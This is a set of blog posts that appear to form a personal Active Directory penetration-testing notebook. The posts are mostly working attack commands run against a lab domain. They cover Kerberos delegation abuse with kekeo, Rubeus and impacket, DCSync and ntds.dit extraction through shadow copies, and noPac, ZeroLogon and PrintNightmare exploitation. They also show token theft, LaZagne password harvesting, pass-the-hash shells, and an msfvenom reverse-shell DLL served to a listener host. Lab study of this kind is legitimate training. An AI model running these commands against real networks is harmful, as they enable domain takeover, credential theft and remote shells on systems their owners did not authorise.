 'CIFS/WindowsServerAD.test.local',
 'CIFS/WindowsServerAD'
 )
}

# Verify the configuration
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

# Find all accounts configured for constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

Account: svc_sharepoint; password: Password123!

As covered in the overview, under constrained delegation a service user can only obtain an ST for a particular user’s (or host’s) service. It can therefore impersonate that user only when accessing a specific service, and cannot obtain the user’s TGT. If we obtain the plaintext password or NTLM Hash of a service user configured for constrained delegation, we can forge an S4U request and impersonate the service user to request an ST for a service with the privileges of any account.

If we know the service user’s plaintext password, we can request that user’s TGT with kekeo.

https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214

1
2


tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!
tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d

This gives us the service user’s TGT.

We can then use this TGT to forge an s4u request and, as the administrator user, request an ST to the domain controller’s CIFS service.

We obtained two TGS tickets.

Use mimikatz to import the cifs ticket.

1
2
3
4


# Clear existing tickets
klist purge
klist
kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~WindowsServerAD.test.local@TEST.LOCAL.kirbi

Success. Everything works here. The ticket obtained in the unconstrained delegation section may genuinely have had a problem. I still do not know exactly what went wrong, but at least the ticket obtained with kokeo can be imported and used for authentication.

If we do not know the service user’s plaintext password or NTLM Hash, but we do have access to the host where that service user is logged in (with local administrator privileges), we can use mimikatz to dump the service user’s TGT directly from memory.

1

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

Note: sekurlsa::tickets lists and exports Kerberos tickets from every session. sekurlsa::tickets differs from kerberos::list: sekurlsa reads from memory—specifically, from the lsass process—which is why sekurlsa::tickets /export requires administrator privileges. Its exports are not restricted by keys, and sekurlsa::tickets can access tickets from other sessions (users).

Let’s try exporting them this way and see whether the import still fails as it did before.

1
2


# Log the service account on locally once to generate a ticket; run the command below and enter the password to simulate a logon
runas /user:test\svc_sharepoint cmd.exe

mimikatz exported the ticket successfully. This is the service account we created.

But exploitation still failed.

1

tgs::s4u /tgt:[0;25bcdd]-2-0-40e10000-svc_sharepoint@krbtgt-TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/WindowsServerAD.test.local

But we still have Rubeus.

1
2
3
4
5
6


The remaining process is the same: read the data, write it locally, and then access the domain controller
The drawback is that the service account's session must remain connected after logon to obtain the ticket
Keep the Mimikatz method in mind; try Mimikatz first and use this method if it fails
# Open a command prompt with runas and leave it open
runas /user:test\svc_sharepoint cmd.exe
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint

The window on the right is the svc_sharepoint cmd. Once it closes, everything is gone.

1
2
3


# Save it locally with this command for easier copying
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap >> ticket.txt
Rubeus.exe ptt /ticket:[base64]

dir \WindowsServerAD.test.local\c$

Getting Domain Controller Access with Unconstrained and Constrained Delegation

Getting a shell with unconstrained delegation is simple:

1
2
3


# After importing the Administrator ticket, access is effectively equivalent to Domain Admin; test each option when validating
Enter-PSSession -ComputerName WindowsServerAD
lsadump::dcsync /domain:test.local /all /csv

Getting a shell with constrained delegation

We know that TGTs are encrypted and signed by the krbtgt user. If we can delegate a domain user to access TGS, we can forge a TGT for any user. Ordinarily, a golden ticket is forged using the krbtgt hash, but constrained delegation can achieve the same result.

Note: The default spn for TGS is krbtgt/domain name; in our environment, it is krbtgt/test.local.

krbtgt is disabled by default and cannot be enabled, so we cannot use the GUI to add this SPN.

We can add it with powershell.

Let me explain what the original author meant above. Our service account—the constrained delegation account—does not have krbtgt privileges by default; those privileges are disabled. But to use a golden ticket, I need krbtgt. This service account already has cifs privileges from our earlier configuration. I cannot delegate krbtgt to this service account in my environment, so below I will only paste the original author’s successful method, then use cifs to take over the domain controller myself. The original author’s method is separated by horizontal rules.

1
2
3


Import-Module ActiveDirectory
$user = Get-ADUser svc_sharepoint
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local") }

Note: ActiveDirectory is installed on domain controllers by default. If it is missing, download the dll from this link, then import it with import-module .\Microsoft.ActiveDirectory.Management.dll.

I linked PowerView.ps1 above, but here it is again.

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

1
2
3


Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,"msds-allowedtodelegateto" | Format-List

We can use the impacket suite’s getST to request administrator’s TGT from the KDC.

1

python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

I failed to reproduce this. It seems the version is too new, which prevents krbtgt from being delegated. I’m recording it here anyway. There are all sorts of delegation techniques and many ways to use them; if you run into one, just search for the relevant method.

I’ll use cifs instead.

1

python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

For the ccache, simply use PTC. I covered this on another page, so I’ll copy it over here.

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

1
2


misc::cmd
dir \\WindowsServerAD.test.local\c$

~~wmiexec~~

1
2
3
4
5
6


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python C:\Users\tony\AppData\Local\Programs\Python\Python313\Scripts\wmiexec.py test.local/administrator@WindowsServerAD.test.local -k -no-pass

export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/administrator@dc.support.htb
psexec.py -k -no-pass support.htb/administrator@dc.support.htb

I did not manage to execute commands and get a shell at this step. The main reason is that the cifs access I currently have does not grant access to the wmi service.

The ST ticket we obtained grants administrator access to cifs only—nothing else. It is limited to that service.

From here, I won’t follow the author’s method. I struck through all those steps. Instead, I’ll use cifs directly to get a shell; it has already been imported above.

Dump the hashes of every user and host on the domain controller. This works because it uses smb or cifs privileges to read the domain database.

1
2


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python secretsdump.py -no-pass -k WindowsServerAD.test.local

There are many ways to take over the domain controller from here. PTH will do.

1
2
3
4
5


mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe

PsExec64.exe \\192.168.0.110 cmd

1
2
3


# WMI and SMB are also standard PTH shell-access methods; use whichever service is enabled
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110

win11 is not in the domain, so just specify the IP.

Kali is not in the domain either, and specifying the IP works there too.

win10 is in the domain, so specifying the hostname is enough because it uses the domain controller’s dns.

At this point, creating a golden ticket is no problem at all.

Here are the original author and reference blog links again; they also cover defensive measures.

https://xz.aliyun.com/t/7217

https://www.freebuf.com/articles/network/290860.html

Exploiting Resource-Based Constrained Delegation

1
2
3
4


# First create the machine account test:123456
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

1
2
3
4
5


# Then configure delegation and look up the SID
import-module .\PowerView.ps1
Get-NetComputer test -Properties objectsid

S-1-5-21-3072663084-364016917-1341370565-9602

1
2
3
4
5
6
7


# Modify the msds-allowedtoactonbehalfofotheridentity value for FOREST
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer FOREST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# FOREST is the domain controller hostname

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

Active Directory Pentesting: Privilege Escalation

Sat, 23 Nov 2024 11:08:00 +0800

I. CVE-2021-42278/CVE-2021-42287

References:

https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds

https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45

https://cloud.tencent.com/developer/article/1922502

In this article, we’ll walk through how these vulnerabilities are exploited and show how FortiEDR can mitigate the attack.

Affected platforms: Windows Affected users: Any organization with an Active Directory environment Impact: An unprivileged user can escalate privileges to domain administrator Severity: Critical

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


Affected scope
CVE-2021-42287：
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
CVE-2021-42278：
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)

Exploitation and Telemetry

At a high level, successfully exploiting these vulnerabilities takes the following steps:

Add a new computer account to the domain.
Rename the new computer account to match the name of an existing domain controller (without the trailing " $ “).
Request a Kerberos TGT using the updated computer account name.
Rename the new computer account again, restoring its original name (or giving it any other name).
Request a Kerberos service ticket with the S4U2self extension.

The service ticket can then be used to access any service on the domain controller. The ST exploit shown below uses CIFS to obtain a SYSTEM shell.

CVE-2021-42278 - Invalid Computer Account Names

Computer account names in an Active Directory environment are supposed to always end with “$”, but that rule is not properly enforced. The computer account name is stored in the “sAMAccountName” attribute. You can inspect and edit this attribute manually with ADSIEdit, as shown in Figure 1.

On a vulnerable machine, the account can be renamed to the domain controller’s account name. This is the key step in the exploit chain.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


CVE-2021-42278 characteristics:
1. Root cause:
- Active Directory allows a machine account's sAMAccountName to be changed
- The trailing $ can be removed from the machine account name
- It can even be renamed to the domain controller's name (without $)

2. Under normal conditions:
Machine account: WIN10$
Domain controller account: DC01$
- Machine accounts must end with $
- This is a security restriction

3. Exploitation:
- Rename a standard machine account to the domain controller's name (without $)
- Example: rename WIN10$ to DC01
- This causes identity confusion
=======================================================================
1. Normal computer account:
hostname: WIN10
sAMAccountName: WIN10$

2. After exploiting the vulnerability:
hostname: WIN10
sAMAccountName: WindowsServerAD # Changed to the domain controller name without $

Service Principal Names

A service principal name (SPN) identifies an authenticated entity, such as machinename$@domainname. Kerberos uses [SPNs as part of the authentication process for various entities. An SPN is essentially a unique identifier for a service instance,](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.&text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.) and Kerberos authentication uses it to associate a service instance with its service logon account.

This creates a problem when you try to rename a computer account to the domain controller’s account name, because changing the samAccountName attribute also triggers a corresponding change to the account’s SPNs. The change fails because an SPN with that name already exists. To get around this, you can clear the computer’s “servicePrincipalName” attribute. Exploiting this vulnerability therefore also requires permission to edit the “servicePrincipalName” attribute.

Let’s start setting up the environment.

Lab environment:

Domain: test.local
Domain controller: Windows Server 2022, hostname: WindowsServerAD, IP: 192.168.0.110, user: administrator
Domain host: Windows 10, hostname: win10, IP: 192.168.0.104, user: jerry

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


Run the following on the domain-joined host win10
Configure the environment:

Use powermad.ps1 to add a machine account
Download: https://github.com/Kevin-Robertson/Powermad
Direct import causes an error; see https://www.jianshu.com/p/a0a88d3bb787

Set-ExecutionPolicy RemoteSigned
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose

# If the method above repeatedly reports insufficient privileges, use the following method; it requires credentials for the current domain account
python addcomputer.py -computer-name 'testuser1' -computer-pass 'Password123!' 'test.local/jerry:Password123!' -dc-ip 192.168.0.110

The account has now been created. (You can also do this through the ADSI Edit GUI with adsiedit.msc.)

1
2
3
4


# Clear the SPN
Set-ADComputer testuser1 -Clear servicePrincipalName
# Set the computer account name to the domain controller's hostname
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "WindowsServerAD" -Attribute samaccountname -Verbose

CVE-2021-42287 - Kerberos Key Distribution Center Confusion

The Kerberos Key Distribution Center (KDC) is an Active Directory service that handles Kerberos ticket requests. A ticket-granting ticket (TGT) is a special type of ticket that can be used to obtain other tickets. A TGT is used to request an access token for a specific resource or system in the domain from the Ticket Granting Service (TGS). When a service ticket request is sent but the account cannot be found, the KDC automatically looks for the requested account name with a “$” appended. S4U2self (Service for User to Self) is an extension that lets a service obtain a Kerberos service ticket for itself. The service ticket includes the user’s groups, so it can be used in authorization decisions. All of these Active Directory terms, along with full explanations, can be found here.

This vulnerability can be triggered if an account obtains a TGT and is then deleted, after which that TGT is used to request a service ticket to itself on behalf of another user (which is essentially S4U2self). The account cannot be found, so the KDC tries looking it up again with a “$” appended. If a domain controller account with that name exists, the requesting user is granted its service ticket, effectively giving the user domain administrator privileges.

You can also create an account yourself here, even from outside the domain, as long as you have permission to create users on the domain controller.

Request a TGT:

1

.\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local /nowrap

Then either delete the account or rename it back to its original name.

Once the user has been deleted, during the S4U2self process the KDC:

First looks for the account name without $

If it cannot find it, automatically tries again with $ appended

If a domain controller account with the same name exists, grants elevated privileges

1
2


Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "testuser1$" -Attribute samaccountname -Verbose

You can also perform this step with adsiedit.msc.

Request an ST for the domain controller:

1

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64]

Here, base64 is the Base64-encoded TGT obtained above.

We successfully obtained the ST. Because we used the /ptt parameter, the ticket has already been injected.

The original author also pointed out that we obtained LDAP privileges, so we cannot access shared directories.

Generate the ST again:

1

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket:

Automated Exploitation - noPac

https://github.com/cube0x0/noPac

You need to compile it yourself, and the domain host also needs a .NET environment. Here is how to use it:

1
2
3
4


noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'
noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt

I’ve already compiled it here.

1
2


# Enter credentials for a domain host to test whether the vulnerability exists
noPac.exe scan -domain test.local -user jerry -pass Password123!

1
2


# Create a machine account, then change its computer account name to the domain controller's hostname
noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123!

The command-line attempt failed earlier because of insufficient permissions, and the same thing happens here. Impacket’s addcomputer.py does work, though.

There are two other one-click exploitation methods, but I didn’t use them. You could get them working with a few changes if needed. The one-click exploits include a command that creates a user, but creating a user fails for me due to insufficient permissions, so these exploits do not work in my environment either.

For the remaining steps, refer to the original author:

https://cloud.tencent.com/developer/article/1922502

It mainly covers creating a new domain user after obtaining domain controller administrator privileges, adding that user to Domain Admins, and then taking over the domain controller through the newly created domain account.

II. PrintNightmare (CVE-2021-34527)

Create a malicious DLL:

1

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

https://github.com/cube0x0/CVE-2021-1675

1

python3 CVE-2021-1675.py My.local/bob:Pass123@192.168.0.251'\\192.168.0.106\\public\\rev.dll'

This is mainly used for privilege escalation.

Active Directory Pentesting: Troubleshooting Tool Issues

Wed, 20 Nov 2024 11:34:00 +0800

1. Garbled Output in wmiexec

1
2
3
4
5


# Run this on the target host first
chcp
# Assume it returns 936
# Then run wmiexec with the encoding option
python wmiexec.py -codec cp936 -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111

2. Unable to Install VMware Tools

I ran into this while setting up an Active Directory environment. My vulnerable Windows Server 2012 R2 machine wouldn’t install VMware Tools, which made transferring files and copying and pasting a real pain. The Chinese tutorials I found online all had problems.

https://netwoven.com/cloud-infrastructure-management/windows-server-2012-r2-error-required-kb2919355/

This article explains what to do. Things will go wrong if you don’t follow the steps in order, though there are still a few minor issues. The solution is below.

What you need to download

#Windows8.1-KB2919442-x64 is available at this URL; download this one too

https://www.microsoft.com/en-us/download/details.aspx?id=42162

Windows patch download: Windows8.1-KB2919355-x64 is available at https://www.microsoft.com/en-us/download/details.aspx?id=42335. Download all of the files.

Run Windows Update and install everything, including optional updates
Run clearcompressionflag.exe (downloaded with the servicing stack fix). It runs in the background, so wait a minute before installing the fix
Manually download and install the patches in this order
Windows8.1-KB2932046-x64
Windows8.1-KB2934018-x64
Windows8.1-KB2937592-x64
Windows8.1-KB2938439-x64
Windows8.1-KB2959977-x64
Windows8.1-KB2919442-x64
Windows8.1-KB2919355-x64

Restart whenever prompted after installing them.

Then install VMware Tools.

https://packages.vmware.com/tools/releases/

Pick whichever version you like and download its ISO file, like this one.

Add a new CD/DVD drive and mount the ISO. You’ll then see a drive like this under Computer.

Open it.

Run the installer, keep clicking Next, and you’re done.

Active Directory Pentesting: Shadow Copies and CVE-2020-1472

Wed, 20 Nov 2024 10:08:00 +0800

References

https://0range-x.github.io/2021/11/22/CVE-2020-1472

https://cloud.tencent.com/developer/article/1727748

https://blog.csdn.net/Captain_RB/article/details/120643838

1. Token Theft

I. What Tokens Do

A token is a temporary secret key used by the system. It is equivalent to an account and password, and determines whether a request is allowed and which user made it. It lets you access network and system resources without providing a password or other credentials. These tokens remain on the system until it is restarted.
The defining feature of a token is that it is random and unpredictable, so neither an attacker nor software can guess it. By impersonating a token, you can act as another user on the network and perform various operations. When an attacker needs domain administrator privileges, they therefore need to impersonate a domain administrator’s token.

II. Types of Tokens

Access Token: a system object representing the subject of an access-control operation.

Session Token: the unique identity identifier in an interactive session.

Security Token: also known as an authentication token or hardware token, this is a physical device used to verify identity on a computer, such as a USB security key.

Windows AccessToken has two types:

Delegation Token: an authorization token that supports interactive session logons, such as a local user logging on directly or accessing the system through Remote Desktop.

Impersonation Token: an impersonation token used for non-interactive sessions, such as accessing a shared folder with net use.

Note: Both types of token are cleared only after a system restart. When a user with a Delegation token logs off, that Token becomes an Impersonation token and remains valid. Another way to think about it is that the system resources a process or thread can access depend on the privileges of its current token.

At first, I didn’t understand why a token was necessary when I already had domain admin privileges. I found this explanation very helpful.

The privileges we get through an exploit, EternalBlue, or similar methods are System privileges. If mimikatz and hashdump cannot recover the administrator user’s password, our only option is to steal a token and step down into the administrator user’s context. That gives us the administrator user’s shell, from which we can start certain services as that user (some services can only be started by the administrator user).

The important point is that System is already the highest privilege level, but some services still need to be started by administrator. We need the administrator shell, yet we do not have the password, so we use a token to step down. That is one scenario where this comes in handy.

You can also assume that the target server probably will not be restarted, since tokens are cleared only on restart.

I haven’t managed to download and find the program online yet, so I’ll list the commands first. Other tools can replace it as well.

Method 1: incognito.exe

Common commands:

List tokens: incognito.exe list_tokens -u

Because we do not have system privileges here, the listed tokens are very limited. Let’s switch to system privileges and take another look.

Steal a token: incognito.exe execute -c "SUN\administrator" cmd.exe

incognito.exe execute [options] <token> <command>

Method 2

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

Its principles and features are similar to incognito, and it can actually elevate or lower privileges.

List tokens: Invoke-TokenManipulation -Enumerate

Elevate to system: Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

Copy a process token: Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

Copy a thread token: Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

Method 3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


Open a command prompt with SYSTEM privileges to simulate top-down access
PsExec.exe -s -i cmd.exe

# View the current token
token::whoami
# Elevate privileges
token::elevate /domainadmin 	# Elevate to domain administrator
token::elevate /admin 			# Elevate to local administrator
token::elevate 					# Elevate to SYSTEM by default
# Restore the token
token::revert

Restore the token
privilege::debug
token::elevate

2. LaZagne.exe

This one is incredibly powerful. Unlike most tools, it is not mainly about getting an administrator password; it is more about building a profile of a particular person.

Types of passwords it can retrieve:

Passwords saved by browsers
Saved WiFi passwords
Windows credentials
Email clients
Development tool configurations

1
2
3


lazagne.exe all # Retrieve all passwords
lazagne.exe browsers # Retrieve browser passwords only
lazagne.exe wifi # Retrieve Wi-Fi passwords only

3. Shadow Copies (Retrieving All Hashes from a Domain Controller)

So what exactly is ntds.dit?

Ntds.dit is a binary file found on domain controllers in a domain environment. It is the primary Active Directory database, located at %SystemRoot%\ntds\ntds.dit on the domain controller. Active Directory keeps this file open, so it cannot normally be read. Ntds.dit contains information including, but not limited to, domain users, groups, group memberships, credentials, and GPP. It holds the password hashes of every user in the domain. For additional protection, those hashes are encrypted with a key stored in the SYSTEM registry hive.

In a non-domain, or workgroup, environment, user passwords and similar information are stored in the SAM file. Decrypting either a SAM file or Ntds.dit also requires a System file. Like the SAM file, Ntds.dit is locked by Windows by default. These are also files we often need to export when using mimikatz.

`plain ntds.dit file location: C:\Windows\NTDS\NTDS.dit system file location:C:\Windows\System32\config\SYSTEM sam file location:C:\Windows\System32\config\SAM`

There are several ways to export this file.

mimikatz-dcsync

Prerequisite: high privileges

Mimikatz has a feature called dcsync, which can use the Directory Replication Service (DRS) to extract password hashes from the NTDS.DIT file.

DCSync is a feature added to mimikatz in 2015. It uses this principle to impersonate one domain controller and send a data synchronization request to another through the GetNCChanges interface of the Directory Replication Service (DRS). This can be used to export the hashes of every user in the domain.

What DCSync really does:

Uses the DRS replication protocol
Requests the target data directly
Does not copy the NTDS.dit file

1
2
3
4
5
6


mimikatz.exe lsadump::dcsync /domain:test.local /all /csv 		// Use DCSync to retrieve hashes for all users in the test domain
mimikatz lsadump::dcsync /domain:test.local /user:admin		// Retrieve details for a single user
mimikatz lsadump::lsa /inject

lsadump::sam # SAM of the current system
lsadump::sam /system:system.hiv /sam:sam.hiv # Specify files

vssadmin Shadow Copies

vssadmin is a command-line management tool for the Volume Shadow Copy Service on Windows. It can create and delete shadow copies, list shadow-copy information, display all installed shadow-copy writers and providers, and change the amount of storage allocated to shadow copies.

Supported systems: Windows 10, Windows 8.1, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


vssadmin create shadow /for=C:							// Create a shadow copy of drive C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit		// Copy ntds.dit from the created shadow copy to drive C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv	 // Copy sam.hiv from the created shadow copy to drive C:
system.hiv is also required
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
vssadmin delete shadows /for=c: /quiet

Decrypt ntds.dit
python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
Decrypt SAM
python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
If an error occurs, you will probably need to run
pip install cryptography==41.0.2

Note that the number in HarddiskVolumeShadowCopy1 changes; use the actual shadow-copy path.

Mimikatz primarily retrieves credentials for logged-on users
SAM retrieves hashes for local accounts
NTDS.dit retrieves hashes for the entire domain

ntdsutil.exe

Ntdsutil.exe is a command-line tool that provides management facilities for Active Directory. It is installed on domain controllers by default and can be operated directly on a domain controller. It can also be used remotely against a domain controller from another domain-joined machine, though administrator privileges are required. With ntdsutil.exe, you can maintain and manage the Active Directory database, control single-master operations, create application directory partitions, and remove metadata left behind by a domain controller that was successfully demoted with the now-unused Active Directory Installation Wizard (DCPromo.exe), among other tasks.

1

ntdsutil snapshot "activate instance ntds" create quit quit // First create a snapshot containing all Windows files; Windows locking does not affect copying from it

1
2


ntdsutil snapshot "mount {ID}" quit quit	 		// Mount the snapshot just created
>ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

1
2
3


copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv

//Copy the three files from the snapshot to the C drive.

//Delete the snapshot we just created.

1

ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" "delete {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

Besides using the approach above to retrieve ntds.dit, you can also use Ntdsutil.exe to create an Install From Media set (IFM) and extract the NTDS.dit file. When ntdsutil creates an IFM set, it automatically generates and mounts a snapshot, then copies ntds.dit and the computer’s SAM and SYSTEM files into the target folder. We can take advantage of this process to obtain the NTDS.dit file. Administrator privileges are required.

Ntdsutil is a command-line utility for working with Active Directory locally, and it enables DCPromo to create IFM sets. IFM is used with DCPromo to “install from media,” so the server being promoted does not need to replicate domain data over the network from another DC.

When an IFM is created, a VSS snapshot is automatically taken and mounted, and the NTDS.DIT file and related data are copied into the target folder.

Run the following commands on the domain controller:

1
2
3
4
5
6


ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit		// Generate files
ntdsutil "ac i ntds" "ifm" "create full c:\ntdsutil" q q			// Short form

Use SYSTEM directly to decrypt it
secretsdump.py -ntds "Active Directory/ntds.dit" -system registry/SYSTEM LOCAL
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

Exploiting ZeroLogon (CVE-2020-1472)

Affected system versions: all versions after Win2008

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

Requirements for exploitation:

1

An attacker only needs the domain controller hostname and IP address plus network access to obtain domain administrator privileges without credentials, even from outside the domain.

Note: A domain controller’s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller’s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. If the credential stored for the domain controller in the domain no longer matches the credential in its local registry/lsass, the domain controller will lose its domain trust and Kerberos authentication will stop working. It therefore needs to be restored as soon as possible.

Step 1: Verify That the Vulnerability Exists

How to obtain the account

Method 1: Mimikatz

Download a recent version that supports exploiting ZeroLogon: https://github.com/gentilkiwi/mimikatz

1

mimikatz.exe "lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$" exit

